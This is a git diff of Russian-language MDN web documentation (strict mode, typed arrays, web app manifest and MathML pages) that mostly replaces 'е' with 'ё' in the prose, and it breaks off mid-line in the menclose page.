    В ECMAScript 5 введен {{jsxref('Strict_mode', 'строгий режим')}}, который реализован во всех основных браузерах (включая IE10). В то время как включение интерпретации браузерами кода в строгом режиме делается очень просто (достаточно добавить "use strict"; в верхней части вашего исходного кода), для адаптации уже существующего кода к строгому режиму потребуется немного больше работы.

    +

    В ECMAScript 5 введён {{jsxref('Strict_mode', 'строгий режим')}}, который реализован во всех основных браузерах (включая IE10). В то время как включение интерпретации браузерами кода в строгом режиме делается очень просто (достаточно добавить "use strict"; в верхней части вашего исходного кода), для адаптации уже существующего кода к строгому режиму потребуется немного больше работы.

    Цель этой статьи: предоставить для разработчиков руководство по переходу к строгому режиму.

    @@ -105,15 +105,15 @@ s.opacity = 1;

    this в вызовах функции

    -

    В функциях как f(), значением this является глобальный объект. В строгом режиме он теперь равен undefined. Когда функция вызывалась с помощью {{jsxref('Global_Objects/Function/call', 'call')}} или {{jsxref('Global_Objects/Function/apply', 'apply')}}, если значением был примитив, он упаковывался в соответствующий объект (или в глобальный объект для undefined и null). В строгом режиме значение передается без каких-либо преобразований и замен.

    +

    В функциях как f(), значением this является глобальный объект. В строгом режиме он теперь равен undefined. Когда функция вызывалась с помощью {{jsxref('Global_Objects/Function/call', 'call')}} или {{jsxref('Global_Objects/Function/apply', 'apply')}}, если значением был примитив, он упаковывался в соответствующий объект (или в глобальный объект для undefined и null). В строгом режиме значение передаётся без каких-либо преобразований и замен.

    arguments не является псевдонимом именованных аргументов функции

    -

    В нестрогом режиме изменение значения в объекте arguments изменяло соответствующий именованный аргумент функции. Это усложняло оптимизацию кода для движков JavaScript и сам код становился менее читабельным и понятным. В строгом режиме объект arguments создается и инициализируется с теми же значениями, что и именованные аргументы, но изменения объекта arguments или именованных аргументов теперь никак не влияют друг на друга.

    +

    В нестрогом режиме изменение значения в объекте arguments изменяло соответствующий именованный аргумент функции. Это усложняло оптимизацию кода для движков JavaScript и сам код становился менее читабельным и понятным. В строгом режиме объект arguments создаётся и инициализируется с теми же значениями, что и именованные аргументы, но изменения объекта arguments или именованных аргументов теперь никак не влияют друг на друга.

    Изменения в eval

    -

    В строгом режиме eval не создает новой переменной в той области видимости, где был вызван. Также, конечно, в строгом режиме, строка выполняется с правилами строгого режима. Потребуется провести тщательное тестирование, чтобы убедиться, что ничего не сломалось. Не использовать eval, если он вам действительно не нужен, может быть другим прагматичным решением.

    +

    В строгом режиме eval не создаёт новой переменной в той области видимости, где был вызван. Также, конечно, в строгом режиме, строка выполняется с правилами строгого режима. Потребуется провести тщательное тестирование, чтобы убедиться, что ничего не сломалось. Не использовать eval, если он вам действительно не нужен, может быть другим прагматичным решением.

    Строго-нейтральный код

    diff --git a/files/ru/web/javascript/typed_arrays/index.html b/files/ru/web/javascript/typed_arrays/index.html index d55e398573..82b7830b90 100644 --- a/files/ru/web/javascript/typed_arrays/index.html +++ b/files/ru/web/javascript/typed_arrays/index.html @@ -5,23 +5,23 @@ translation_of: Web/JavaScript/Typed_arrays ---
    {{JsSidebar("Advanced")}}
    -

    Типизированные массивы в JavaScript являются массива-подобными объектами, предоставляющими механизм доступа к сырым двоичным данным. Как вы уже можете знать, массив {{jsxref("Array")}} растет и обрезается динамически, и может содержать элементы любого типа JavaScript. Благодаря оптимизациям JavaScript движков, массивы остаются быстрыми. Однако, со временем, веб-приложения становятся все более и более мощными, появляется необходимость работы с аудио- и видео-данными, требуется доступ к сырым данным WebSocket, и так далее. Становится очевидным, что возможность быстрой и эффективной работы с двоичными данными в JavaScript будет очень полезной, для чего типизированные массивы и предназначены.

    +

    Типизированные массивы в JavaScript являются массива-подобными объектами, предоставляющими механизм доступа к сырым двоичным данным. Как вы уже можете знать, массив {{jsxref("Array")}} растёт и обрезается динамически, и может содержать элементы любого типа JavaScript. Благодаря оптимизациям JavaScript движков, массивы остаются быстрыми. Однако, со временем, веб-приложения становятся все более и более мощными, появляется необходимость работы с аудио- и видео-данными, требуется доступ к сырым данным WebSocket, и так далее. Становится очевидным, что возможность быстрой и эффективной работы с двоичными данными в JavaScript будет очень полезной, для чего типизированные массивы и предназначены.

    -

    Не следует путать типизированные массивы с обычными массивами: так, например, вызов {{jsxref("Array.isArray()")}} для типизированного массива вернет false. Более того, не все методы, доступные для обычных массивов поддерживаются типизированными массивами (например, push и pop).

    +

    Не следует путать типизированные массивы с обычными массивами: так, например, вызов {{jsxref("Array.isArray()")}} для типизированного массива вернёт false. Более того, не все методы, доступные для обычных массивов поддерживаются типизированными массивами (например, push и pop).

    Буферы и представления: архитектура типизированных массивов

    -

    Для достижения максимальной гибкости и производительности, реализация типизированных массивов в JavaScript разделена на буферы и представления. Буфер (ArrayBuffer) –– это объект, представляющий из себя набор данных. Он не имеет формата и не предоставляет возможности доступа к своему содержимому. Для доступа к памяти буфера вам нужно использовать представление. Представление предоставляет контекст: тип данных, начальную позицию в буфере и количество элементов. Это позволяет представить данные в виде типизированного массива.

    +

    Для достижения максимальной гибкости и производительности, реализация типизированных массивов в JavaScript разделена на буферы и представления. Буфер (ArrayBuffer) –– это объект, представляющий из себя набор данных. Он не имеет формата и не предоставляет возможности доступа к своему содержимому. Для доступа к памяти буфера вам нужно использовать представление. Представление предоставляет контекст: тип данных, начальную позицию в буфере и количество элементов. Это позволяет представить данные в виде типизированного массива.

    Typed arrays in an ArrayBuffer

    ArrayBuffer

    -

    Объект ArrayBuffer –– это набор бинарных данных с фиксированной длинной. Вы не можете манипулировать содержимым ArrayBuffer напрямую. Вместо этого, необходимо создать типизированное представление DataView, которое будет отображать буфер в определенном формате, и даст доступ на запись и чтение его содержимого.

    +

    Объект ArrayBuffer –– это набор бинарных данных с фиксированной длинной. Вы не можете манипулировать содержимым ArrayBuffer напрямую. Вместо этого, необходимо создать типизированное представление DataView, которое будет отображать буфер в определённом формате, и даст доступ на запись и чтение его содержимого.

    Типизированные представления

    -

    Название типизированного представления массива говорит само за себя. Оно представляет массив в распространенных числовых форматах, таких как  Int8Uint32Float64 и так далее. Среди прочих, существует специальное представление Uint8ClampedArray. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при Обработке данных изображения в Canvas.

    +

    Название типизированного представления массива говорит само за себя. Оно представляет массив в распространённых числовых форматах, таких как  Int8Uint32Float64 и так далее. Среди прочих, существует специальное представление Uint8ClampedArray. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при Обработке данных изображения в Canvas.

    {{page("/ru/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "Объект TypedArray")}}

    @@ -74,7 +74,7 @@ translation_of: Web/JavaScript/Typed_arrays

    Множество представлений для одних и тех же данных

    -

    Всё становится намного интереснее, если создать несколько разных представлений для одного и того же буфера. Например, приведенный выше код можно дополнить следующим образом:

    +

    Всё становится намного интереснее, если создать несколько разных представлений для одного и того же буфера. Например, приведённый выше код можно дополнить следующим образом:

    var int16View = new Int16Array(buffer);
     
    @@ -83,7 +83,7 @@ for (var i = 0; i < int16View.length; i++) {
     }
     
    -

    Здесь мы создаем 16-битное целочисленное представление, которое ссылается на тот же самый буфер, что и 32-битное представление, и затем выводим все 16-битные элементы этого представления. Мы получим следующий вывод: 0, 0, 2, 0, 4, 0, 6, 0.

    +

    Здесь мы создаём 16-битное целочисленное представление, которое ссылается на тот же самый буфер, что и 32-битное представление, и затем выводим все 16-битные элементы этого представления. Мы получим следующий вывод: 0, 0, 2, 0, 4, 0, 6, 0.

    Можно пойти дальше. Оцените этот код:

    @@ -115,9 +115,9 @@ var idView = new Uint32Array(buffer, 0, 1); var usernameView = new Uint8Array(buffer, 4, 16); var amountDueView = new Float32Array(buffer, 20, 1);
    -

    Теперь получить или изменить значение поля amountDue, к примеру, можно путем обращения к amountDueView[0].

    +

    Теперь получить или изменить значение поля amountDue, к примеру, можно путём обращения к amountDueView[0].

    -
    Примечание: Выравнивание данных в языке C является платформозависимым. Принимайте меры по вычислению правильных отступов в данных с учетом выравнивания.
    +
    Примечание: Выравнивание данных в языке C является платформозависимым. Принимайте меры по вычислению правильных отступов в данных с учётом выравнивания.

    Преобразование в обычные массивы

    diff --git a/files/ru/web/manifest/background_color/index.html b/files/ru/web/manifest/background_color/index.html index 98b745c6a3..5fa076ac51 100644 --- a/files/ru/web/manifest/background_color/index.html +++ b/files/ru/web/manifest/background_color/index.html @@ -29,7 +29,7 @@ translation_of: Web/Manifest/background_color -

    background_color определяет ожидаемый цвет фона для веб-приложения. Это значение повторяет то, что уже доступно в стилях приложения, но может быть использовано браузерами для отрисовки цвета фона приложения после того, как манифест станет доступен, но до того, как стили загрузятся. Это создает плавный переход между запуском приложения и загрузкой содержимого приложения.

    +

    background_color определяет ожидаемый цвет фона для веб-приложения. Это значение повторяет то, что уже доступно в стилях приложения, но может быть использовано браузерами для отрисовки цвета фона приложения после того, как манифест станет доступен, но до того, как стили загрузятся. Это создаёт плавный переход между запуском приложения и загрузкой содержимого приложения.

    Therefore background_color should match the {{cssxref("background-color")}} CSS property in the site’s stylesheet for a smooth transition between launching the web application and loading the site's content.

    diff --git a/files/ru/web/manifest/icons/index.html b/files/ru/web/manifest/icons/index.html index e9ba3bfe32..c7d608df08 100644 --- a/files/ru/web/manifest/icons/index.html +++ b/files/ru/web/manifest/icons/index.html @@ -73,7 +73,7 @@ translation_of: Web/Manifest/icons sizes - Строка, содержащая разделенные пробелами размеры изображения. + Строка, содержащая разделённые пробелами размеры изображения. src @@ -94,7 +94,7 @@ translation_of: Web/Manifest/icons
    • badge: Пользовательский агент может представить этот значок там, где ограничения пространства и/или требования к цвету отличаются от таковых для значка приложения.
    • -
    • maskable: Изображение разработано с учетом масок значков и безопасной зоны, так что пользовательский агент может безопасно игнорировать и маскировать любую часть изображения за пределами безопасной зоны.
    • +
    • maskable: Изображение разработано с учётом масок значков и безопасной зоны, так что пользовательский агент может безопасно игнорировать и маскировать любую часть изображения за пределами безопасной зоны.
    • any: Пользовательский агент может отображать значок в любом контексте (это значение по умолчанию).
    diff --git a/files/ru/web/manifest/index.html b/files/ru/web/manifest/index.html index 1a7eb8beb4..a6dd7f70fb 100644 --- a/files/ru/web/manifest/index.html +++ b/files/ru/web/manifest/index.html @@ -82,7 +82,7 @@ translation_of: Web/Manifest
    -

    Note: Если для получения манифеста требуются учетные данные - атрибут crossorigin должен иметь значение "use-credentials", даже если файл манифеста находится в том же источнике, что и текущая страница.

    +

    Note: Если для получения манифеста требуются учётные данные - атрибут crossorigin должен иметь значение "use-credentials", даже если файл манифеста находится в том же источнике, что и текущая страница.

    Заставки

    diff --git a/files/ru/web/manifest/related_applications/index.html b/files/ru/web/manifest/related_applications/index.html index d2a9675c31..2eab4c4181 100644 --- a/files/ru/web/manifest/related_applications/index.html +++ b/files/ru/web/manifest/related_applications/index.html @@ -76,7 +76,7 @@ translation_of: Web/Manifest/related_applications id - ID, используемое для представления приложения на определенной платформе. + ID, используемое для представления приложения на определённой платформе. diff --git a/files/ru/web/mathml/attribute/index.html b/files/ru/web/mathml/attribute/index.html index e14849d222..4cb0ccfcc9 100644 --- a/files/ru/web/mathml/attribute/index.html +++ b/files/ru/web/mathml/attribute/index.html @@ -135,7 +135,7 @@ original_slug: Web/MathML/Атрибут display {{ MathMLElement("math") }} - Задает режим визуализации. Допускаются значения block и inline. + Задаёт режим визуализации. Допускаются значения block и inline. displaystyle @@ -169,7 +169,7 @@ original_slug: Web/MathML/Атрибут {{ unimplemented_inline() }} form {{ MathMLElement("mo") }} - Задает роль оператора во вложенном выражении. + Задаёт роль оператора во вложенном выражении. frame @@ -179,7 +179,7 @@ original_slug: Web/MathML/Атрибут framespacing {{ MathMLElement("mtable") }} - Задает дополнительное пространство, добавленное между таблицей и frame. + Задаёт дополнительное пространство, добавленное между таблицей и frame. {{ unimplemented_inline() }} groupalign @@ -189,7 +189,7 @@ original_slug: Web/MathML/Атрибут height {{ MathMLElement("mglyph") }}, {{ MathMLElement("mpadded") }}, {{ MathMLElement("mspace") }} - Задает желаемую высоту. Для возможных значений смотри длины. + Задаёт желаемую высоту. Для возможных значений смотри длины. href @@ -239,7 +239,7 @@ original_slug: Web/MathML/Атрибут {{ unimplemented_inline() }} infixlinebreakstyle {{ MathMLElement("mstyle") }} - Задает стиль по умолчанию для linebreakstyle для использования в инфиксных операторах. + Задаёт стиль по умолчанию для linebreakstyle для использования в инфиксных операторах. largeop @@ -334,7 +334,7 @@ original_slug: Web/MathML/Атрибут movablelimits {{ MathMLElement("mo") }} - Определяет, перемещаются ли присоединенные нижние и верхние индексы на позиции нижних и верхних индексов. + Определяет, перемещаются ли присоединённые нижние и верхние индексы на позиции нижних и верхних индексов. notation @@ -399,7 +399,7 @@ original_slug: Web/MathML/Атрибут scriptminsize {{ MathMLElement("mstyle") }} - Задает минимальный размер шрифта, разрешённый из-за изменений в scriptlevel. + Задаёт минимальный размер шрифта, разрешённый из-за изменений в scriptlevel. scriptsizemultiplier @@ -429,7 +429,7 @@ original_slug: Web/MathML/Атрибут {{ unimplemented_inline() }} side {{ MathMLElement("mtable") }} - Задает позицию, в которой {{ MathMLElement("mlabeledtr") }} должны быть размещены элементы метки. + Задаёт позицию, в которой {{ MathMLElement("mlabeledtr") }} должны быть размещены элементы метки. {{ unimplemented_inline() }} src @@ -469,7 +469,7 @@ original_slug: Web/MathML/Атрибут width {{ MathMLElement("mglyph") }}, {{ MathMLElement("mpadded") }}, {{ MathMLElement("mspace") }}, {{ MathMLElement("mtable") }} - Задает желаемую ширину. Смотри длины для возможных значений. + Задаёт желаемую ширину. Смотри длины для возможных значений. xlink:href {{deprecated_inline}} @@ -479,7 +479,7 @@ original_slug: Web/MathML/Атрибут xmlns {{ MathMLElement("math") }} - Задает URI для пространства имен MathML (http://www.w3.org/1998/Math/MathML) + Задаёт URI для пространства имён MathML (http://www.w3.org/1998/Math/MathML) diff --git a/files/ru/web/mathml/authoring/index.html b/files/ru/web/mathml/authoring/index.html index 765b420c47..f330d22d50 100644 --- a/files/ru/web/mathml/authoring/index.html +++ b/files/ru/web/mathml/authoring/index.html @@ -10,7 +10,7 @@ translation_of: Web/MathML/Authoring ---

    Эта страница объясняет, как записать математические выражения при помощи языка MathML. Подобно HTML, основными элементами языка MathML являются теги и атрибуты. Документ HTML становится сложным, когда он содержит структуры, подобные спискам или таблицам, но, к счастью, существует много генераторов на основе простых систем обозначений, WYSIWYG редакторы и другие системы управления контентом, помогающие создавать Web страницы.

    -

    Математические обозначения еще более сложны со структурами такими, как дроби, квадратные корни или матрицы, которые, вероятно, потребуют собственных тегов. Поэтому инструменты разработки, связанные с MathML, очень важны. Некоторые из этих инструментов мы описываем ниже. В частности, команда Mozilla MathML разрабатывала TeXZilla (Javascript Unicode LaTeX-to-MathML конвертер), который предназначен для использования во многих сценариях, описанных здесь. Конечно, этот список ни в коем случае не является исчерпывающим и вам предлагается проверить W3C MathML software list, где вы можете найти некоторые другие инструменты.

    +

    Математические обозначения ещё более сложны со структурами такими, как дроби, квадратные корни или матрицы, которые, вероятно, потребуют собственных тегов. Поэтому инструменты разработки, связанные с MathML, очень важны. Некоторые из этих инструментов мы описываем ниже. В частности, команда Mozilla MathML разрабатывала TeXZilla (Javascript Unicode LaTeX-to-MathML конвертер), который предназначен для использования во многих сценариях, описанных здесь. Конечно, этот список ни в коем случае не является исчерпывающим и вам предлагается проверить W3C MathML software list, где вы можете найти некоторые другие инструменты.

    Заметим, что MathML хорошо интегрирован в HTML5. В частности, вы можете использовать обычные Web-инструменты, такие как CSS, DOM, Javascript или SVG. Данная тема выходит за рамки этого документа, но любой, у кого есть базовые знания Web-языков, сможет легко совместить эти инструменты с MathML. Ознакомьтесь с нашими примерами и справочными данными по MathML для получения более подробной информации.

    @@ -45,7 +45,7 @@ translation_of: Web/MathML/Authoring

    Варианты для браузеров без поддержки MathML

    -

    К сожалению, некоторые браузеры не могут отображать выражения MathML или имеют ограниченную поддержку. Следовательно, вам нужно будет использовать полифил MathML, чтобы обеспечить некоторый резервный рендеринг. Если вам нужны только базовые математические конструкции, такие как те, которые используются в этой MDN wiki, тогда небольшой таблицы стилей mathml.css возможно будет достаточно. Для ее использования, просто вставьте одну строку в заголовок вашего документа:

    +

    К сожалению, некоторые браузеры не могут отображать выражения MathML или имеют ограниченную поддержку. Следовательно, вам нужно будет использовать полифил MathML, чтобы обеспечить некоторый резервный рендеринг. Если вам нужны только базовые математические конструкции, такие как те, которые используются в этой MDN wiki, тогда небольшой таблицы стилей mathml.css возможно будет достаточно. Для её использования, просто вставьте одну строку в заголовок вашего документа:

    <script src="http://fred-wang.github.io/mathml.css/mspace.js"></script>
    @@ -57,7 +57,7 @@ translation_of: Web/MathML/Authoring
    <script src="http://fred-wang.github.io/mathml-warning.js/mpadded-min.js"></script>
    -

    Если вы не хотите использовать эту ссылку на GitHub, но вместо этого хотите интегрировать эти полифилы или нечто другое в свой проект, тогда вам может понадобиться скрипт, проверяющий уровень поддержки MathML. Например, следующая функция проверяет поддержку MathML путем тестирования элемента mspace (вы можете заменить mspace на mpadded):

    +

    Если вы не хотите использовать эту ссылку на GitHub, но вместо этого хотите интегрировать эти полифилы или нечто другое в свой проект, тогда вам может понадобиться скрипт, проверяющий уровень поддержки MathML. Например, следующая функция проверяет поддержку MathML путём тестирования элемента mspace (вы можете заменить mspace на mpadded):

     function hasMathMLSupport() {
       var div = document.createElement("div"), box;
    @@ -68,7 +68,7 @@ translation_of: Web/MathML/Authoring
       return Math.abs(box.height - 23) <= 1  && Math.abs(box.width - 77) <= 1;
     }
    -

    В качестве альтернативы, следующий анализ строки UA позволит определить движок рендеринга с родной поддержкой MathML (Gecko и WebKit). Обратите внимание, что анализ строки UA является не самым надежным методом и может сбоить от версии к версии:

    +

    В качестве альтернативы, следующий анализ строки UA позволит определить движок рендеринга с родной поддержкой MathML (Gecko и WebKit). Обратите внимание, что анализ строки UA является не самым надёжным методом и может сбоить от версии к версии:

    var ua = navigator.userAgent;
     var isGecko = ua.indexOf("Gecko") > -1 && ua.indexOf("KHTML") === -1 && ua.indexOf('Trident') === -1;
    @@ -95,7 +95,7 @@ m|math {
     
     

    MathML в документах XML (XHTML, EPUB, и т.д.)

    -

    Если по какой-то причине вам нужно использовать MathML в документах XML, обязательно выполняйте обычные требования: хорошо сформированный документ, использование правильного MIME-типа, пространство имен MathML "http://www.w3.org/1998/Math/MathML" с корневым элементом <math>. Например, версия XHTML предыдущего примера выглядит так:
    +

    Если по какой-то причине вам нужно использовать MathML в документах XML, обязательно выполняйте обычные требования: хорошо сформированный документ, использование правильного MIME-типа, пространство имён MathML "http://www.w3.org/1998/Math/MathML" с корневым элементом <math>. Например, версия XHTML предыдущего примера выглядит так:
     

    <?xml version="1.0" encoding="UTF-8"?>
    @@ -136,7 +136,7 @@ m|math {
       
    • Для написания математических выражений может потребоваться только стандартный текстовый редактор.
    • Доступны многие инструменты, некоторые из которых совместимы с классическим рабочим процессом LaTeX-to-pdf.
    • -
    • Это дает доступ к расширенным возможностям макросов, подобных макросам LaTeX.
    • +
    • Это даёт доступ к расширенным возможностям макросов, подобных макросам LaTeX.
  • минусы: @@ -161,7 +161,7 @@ m|math {
  • минусы:
      -
    • Это не будет работать, если у пользователя отключен Javascript.
    • +
    • Это не будет работать, если у пользователя отключён Javascript.
    • Код MathML не поддерживается Web-сканерами (например, средствами математического поиска или новостными агрегаторами). В частности, ваш контент не будет отображаться правильно на Planet.
    • Конвертация должна выполняться при каждой загрузке страницы, может быть медленной и может конфликтовать с парсингом HTML (например, "<" для тегов или "$" для денежных сумм)
    • Возможно вам понадобится синхронизировать Javascript-конвертер с другими программами Javascript на вашей странице.
    • @@ -173,7 +173,7 @@ m|math {
      <x-tex>\frac{x^2}{a^2} + \frac{y^2}{b^2} = 1</x-tex>
      -

      и автоматически преобразуется в MathML. Это все еще в процессе разработки и может быть улучшено в будущем благодаря Web-компонентам и DOM. Кроме того, вы можете использовать более традиционный Javascript парсинг выражений в процессе загрузки как это используют и все другие инструменты, описанные в этом разделе.

      +

      и автоматически преобразуется в MathML. Это все ещё в процессе разработки и может быть улучшено в будущем благодаря Web-компонентам и DOM. Кроме того, вы можете использовать более традиционный Javascript парсинг выражений в процессе загрузки как это используют и все другие инструменты, описанные в этом разделе.

      Одним из простых инструментов конвертации на стороне клиента является ASCIIMathML. Просто загрузите скрипт ASCIIMathML.js и скопируйте его на ваш Web-сайт. Затем на ваших веб-страницах добавьте тег <script> для загрузки ASCIIMathML и математические выражения, выделенные символом ` (знак акцента) будут автоматически обработаны и преобразованы в MathML:

      @@ -221,11 +221,11 @@ This is a sample LaTeXML document. </div> ...
  • -

    jqMath - это еще один скрипт для парсинга простого LaTeX-подобного синтаксиса, который также принимает не-ASCII символы, такие как  √{∑↙{n=1}↖{+∞} 6/n^2} = π , чтобы написать n = 1 + 6 n 2 = π . Установка похожа: загрузите и скопируйте соответствующие файлы Javascript и CSS files на ваш Web сайт и сделайте ссылку на них в заголовке вашей страницы (смотрите файл COPY-ME.html из архива zip в качестве примера). Одним из преимуществ jqMath над предыдущими сценариями является то, что он автоматически добавит некоторые простые правила CSS для математической разметки и сделает формулы доступными для браузеров с ограниченной поддержкой MathML.

    +

    jqMath - это ещё один скрипт для парсинга простого LaTeX-подобного синтаксиса, который также принимает не-ASCII символы, такие как  √{∑↙{n=1}↖{+∞} 6/n^2} = π , чтобы написать n = 1 + 6 n 2 = π . Установка похожа: загрузите и скопируйте соответствующие файлы Javascript и CSS files на ваш Web сайт и сделайте ссылку на них в заголовке вашей страницы (смотрите файл COPY-ME.html из архива zip в качестве примера). Одним из преимуществ jqMath над предыдущими сценариями является то, что он автоматически добавит некоторые простые правила CSS для математической разметки и сделает формулы доступными для браузеров с ограниченной поддержкой MathML.

    Программы командной строки

    -

    Альтернативный способ - парсить простой синтаксис перед публикацией ваших Web-страниц. В этом случае вы используете программы командной строки для создания и публикации этих статических страниц на своем сервере.

    +

    Альтернативный способ - парсить простой синтаксис перед публикацией ваших Web-страниц. В этом случае вы используете программы командной строки для создания и публикации этих статических страниц на своём сервере.

    • плюсы: @@ -238,13 +238,13 @@ This is a sample LaTeXML document.
    • минусы:
      • Это требует установки программ на вашем компьютере, что может быть немного сложнее или они могут быть доступны не для всех платформ.
      • -
      • Вы должны запускать программы на своем компьютере и иметь какой-то рабочий процесс для получения веб-страниц в конце; это может быть немного утомительно.
      • +
      • Вы должны запускать программы на своём компьютере и иметь какой-то рабочий процесс для получения веб-страниц в конце; это может быть немного утомительно.
      • Двоичные программы не подходят для их интеграции в расширение Mozilla или приложение XUL.
    -

    TeXZilla может использоваться из командной строки и будет, по существу, иметь ту же поддержку, что и itex2MML, описанный ниже. Однако поведение фильтра потока еще не реализовано.

    +

    TeXZilla может использоваться из командной строки и будет, по существу, иметь ту же поддержку, что и itex2MML, описанный ниже. Однако поведение фильтра потока ещё не реализовано.

    Если вы хотите просто парсить простые математические выражения LaTeX, вы можете попробовать такие инструменты, как itex2MML или Blahtex. Последнее часто доступно в дистрибутивах Linux. Давайте рассмотрим первое, которое изначально было написано Полом Гартсайдом в начале проекта Mozilla MathML и с тех пор поддерживается Жаком Дистлером. Это небольшой фильтр потока, написанный на C/C++ и сгенерированный с помощью flex и bison; в частности, оно очень быстрое. Установите flex/bison, а также классический компилятор и сгенерируйте инструменты. В Unix вы можете загрузить itex2MML, скомпилировать и установить его:

    @@ -255,7 +255,7 @@ make sudo make install
    -

    Теперь предположим, что у вас есть HTML страница с фрагментами TeX, разделенными долларами:

    +

    Теперь предположим, что у вас есть HTML страница с фрагментами TeX, разделёнными долларами:

    input.html
     
    @@ -272,7 +272,7 @@ sudo make install
     
     
    cat input.html | itex2MML > output.html
    -

    Существуют еще более содержательные инструменты для преобразования произвольных документов LaTeX в HTML+MathML. Например, TeX4ht часто включается в дистрибутивы TeX и имеет возможность использовать MathML вместо изображений PNG. Эта команда создаст XHTML+MathML документ foo.xml из LaTeX исходника foo.tex:

    +

    Существуют ещё более содержательные инструменты для преобразования произвольных документов LaTeX в HTML+MathML. Например, TeX4ht часто включается в дистрибутивы TeX и имеет возможность использовать MathML вместо изображений PNG. Эта команда создаст XHTML+MathML документ foo.xml из LaTeX исходника foo.tex:

       mk4ht mzlatex foo.tex # Linux/Mac platforms
        mzlatex foo.tex       # Windows platform
    @@ -280,10 +280,10 @@ sudo make install
     
     

    Заметим, что tex4ebook опирается на TeX4ht для создания документов EPUB.

    -

    LaTeXML - это еще один инструмент, который может создавать документы HTML5 и EPUB. Пользователи Windows могут посмотреть это видео-руководство. Для LaTeX файла foo.tex, вы можете использовать следующие простые команды:

    +

    LaTeXML - это ещё один инструмент, который может создавать документы HTML5 и EPUB. Пользователи Windows могут посмотреть это видео-руководство. Для LaTeX файла foo.tex, вы можете использовать следующие простые команды:

    -
      latexmlc --dest foo.html foo.tex # Создает HTML5 документ foo.html
    -  latexmlc --dest foo.epub foo.tex # Создает EPUB документ foo.epub
    +
      latexmlc --dest foo.html foo.tex # Создаёт HTML5 документ foo.html
    +  latexmlc --dest foo.epub foo.tex # Создаёт EPUB документ foo.epub

    В случаях с браузерами без поддержки MathML, вы можете использовать параметр --javascript, чтобы сообщить LaTeXML о включении одного из дополнительных скриптов:

    @@ -330,7 +330,7 @@ sudo make install

    Open Office Math

    -

    Amaya - это Web-редактор от W3C, способный обрабатывать MathML внутри документов XHTML. Используйте элементы из Elements и панель Special Chars для создания различных продвинутых математических конструкций. Простой текст, такой как a+2, автоматически парсится и создается соответствующая разметка MathML. Как только вы закончите, вы сможете напрямую сохранить свою страницу XHTML и открыть ее в Mozilla.

    +

    Amaya - это Web-редактор от W3C, способный обрабатывать MathML внутри документов XHTML. Используйте элементы из Elements и панель Special Chars для создания различных продвинутых математических конструкций. Простой текст, такой как a+2, автоматически парсится и создаётся соответствующая разметка MathML. Как только вы закончите, вы сможете напрямую сохранить свою страницу XHTML и открыть её в Mozilla.

    Распознавание видимых символов и рукописного текста

    diff --git a/files/ru/web/mathml/element/maction/index.html b/files/ru/web/mathml/element/maction/index.html index 6d60735b70..085ea66f3b 100644 --- a/files/ru/web/mathml/element/maction/index.html +++ b/files/ru/web/mathml/element/maction/index.html @@ -11,7 +11,7 @@ translation_of: Web/MathML/Element/maction
    {{MathMLRef}}
    -

    Элемент MathML <maction> обеспечивает возможность связать действия с (под-) выражениями. Само действие задается с помощью атрибутаactiontype, который может принимать несколько значений. Чтобы указать каким дочерним элементам адресовано действие, вы можете использовать атрибут selection.

    +

    Элемент MathML <maction> обеспечивает возможность связать действия с (под-) выражениями. Само действие задаётся с помощью атрибутаactiontype, который может принимать несколько значений. Чтобы указать каким дочерним элементам адресовано действие, вы можете использовать атрибут selection.

    Атрибуты

    @@ -20,7 +20,7 @@ translation_of: Web/MathML/Element/maction
    actiontype
    Действие, которое устанавливает, что происходит с этим элементом. Возможные значения:
      -
    • statusline: Если кликнуть на выражении (expression) или читатель наведет курсор на него, сообщение (message) будет отправлено в строку состояния браузера. Синтаксис: <maction actiontype="statusline"> expression message </maction>.
    • +
    • statusline: Если кликнуть на выражении (expression) или читатель наведёт курсор на него, сообщение (message) будет отправлено в строку состояния браузера. Синтаксис: <maction actiontype="statusline"> expression message </maction>.
    • toggle: Если кликнуть на подвыражении, рендеринг чередует отображение выбранных подвыражений. Поэтому с каждым кликом выбираемое значение меняется на следующее.
      Синтаксис: <maction actiontype="toggle" selection="positive-integer" > expression1 expression2 expressionN </maction>.
    • tooltip: Когда указатель перемещается над выражением (expression), рядом с выражением отображается всплывающая подсказка с сообщением (message).
      diff --git a/files/ru/web/mathml/element/math/index.html b/files/ru/web/mathml/element/math/index.html index b8c2c3238b..296daf9c32 100644 --- a/files/ru/web/mathml/element/math/index.html +++ b/files/ru/web/mathml/element/math/index.html @@ -26,18 +26,18 @@ translation_of: Web/MathML/Element/math
      Этот атрибут определяет способ вывода. Возможные значения:
      • block - означает, что этот элемент будет отображаться за пределами текущего диапазона текста, как блока, который может быть расположен в любом месте без изменения смысла текста;
      • -
      • inline -означает, что этот элемент будет отображаться внутри текущего диапазона текста, и не могут быть перемещены из нее без изменения значения этого текста.
      • +
      • inline -означает, что этот элемент будет отображаться внутри текущего диапазона текста, и не могут быть перемещены из неё без изменения значения этого текста.

      Значение по умолчанию inline .

      -
      mode {{ deprecated_inline() }} +
      mode {{ deprecated_inline() }}
      Устаревшие значение  display attribute.
      Возможные значения: display (который имеет тот же эффект, как display="block" ) и inline .
      overflow
      -
      Определяет, как выражение ведет себя, если текст слишком длинный и не помещается в указанном диапазоне ширины.
      +
      Определяет, как выражение ведёт себя, если текст слишком длинный и не помещается в указанном диапазоне ширины.
      Возможные значения: linebreak (по умолчанию), scroll , elide , truncate , scale .
      diff --git a/files/ru/web/mathml/element/menclose/index.html b/files/ru/web/mathml/element/menclose/index.html index 79c4c83179..45db068c2d 100644 --- a/files/ru/web/mathml/element/menclose/index.html +++ b/files/ru/web/mathml/element/menclose/index.html @@ -10,7 +10,7 @@ translation_of: Web/MathML/Element/menclose ---
      {{MathMLRef}}
      -

      Элемент MathML <menclose> отображает свое содержимое во вложенной нотации, указанной атрибутом нотации.

      +

      Элемент MathML <menclose> отображает своё содержимое во вложенной нотации, указанной атрибутом нотации.

      Атрибуты

      @@ -24,7 +24,7 @@ translation_of: Web/MathML/Element/menclose
      mathcolor
      Цвет текста. Вы можете использовать #rgb, #rrggbb и HTML-имена цветов.
      notation
      -
      Список нотаций, разделенных пробелами, применяемых к дочерним элементам. Изображенные символы могут перекрываться. Возможные значения: +
